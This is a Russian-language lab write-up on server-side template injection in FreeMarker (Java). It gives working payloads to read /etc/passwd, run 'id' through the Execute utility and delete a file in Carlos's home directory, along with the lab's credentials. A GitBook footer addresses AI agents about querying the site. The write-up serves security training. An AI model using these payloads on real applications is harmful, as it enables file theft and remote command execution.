> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/ssti/ssti-using-java-template-engine-documentation.md).

# SSTI с использованием документации Java Template Engine

### Серверная инъекция шаблонов с использованием документации

В этой лабораторной работе представлена уязвимость **SSTI**. Цель — определить используемый движок шаблонов, обратиться к его документации, чтобы понять, как выполнить произвольный код, а затем удалить файл moral. txt в каталоге Carlos. / Предоставленные учетные данные: **content-manager: C0nt3ntM4n4g3r**.

<figure><img src="/files/27bc19416876308a525ccdb0a0d72e416fe5ee04" alt=""><figcaption></figcaption></figure>

### **Анализ шаблона**

В комментариях движок предоставляет выражение:

* Простой тест :

```java
${7*7}
```

<figure><img src="/files/f3c877570077e9ccbb7e6f2885382e60eb3efa19" alt=""><figcaption></figcaption></figure>

* Ошибка показывает, что используемый движок — **Freemarker (Java)**.
* Новое выражение, такое как `${7*a}` подтверждает интерпретацию шаблона.

```java
${7*a}
```

<figure><img src="/files/7ecb703635e1199f5058a747b2293527ca0b0d63" alt=""><figcaption></figcaption></figure>

#### **Чтение файлов**

Чтобы прочитать файл /etc/passwd, используются методы, доступные через объект:

```java
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
```

<figure><img src="/files/962625770fc36c4b8e30b6f18152ca21f1128aca" alt=""><figcaption></figcaption></figure>

#### **Выполнение команд**

Freemarker позволяет вызывать `Выполнять` утилиту:

```java
${"freemarker.template.utility.Execute"?new()("id")}
```

<figure><img src="/files/c0e96e2384233a38aaeb1ba2745b7fc8d6f3a0c3" alt=""><figcaption></figcaption></figure>

#### **Удаление целевого файла**

Чтобы удалить moral.txt из каталога Carlos:

```java
${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt")}
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/ssti/ssti-using-java-template-engine-documentation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
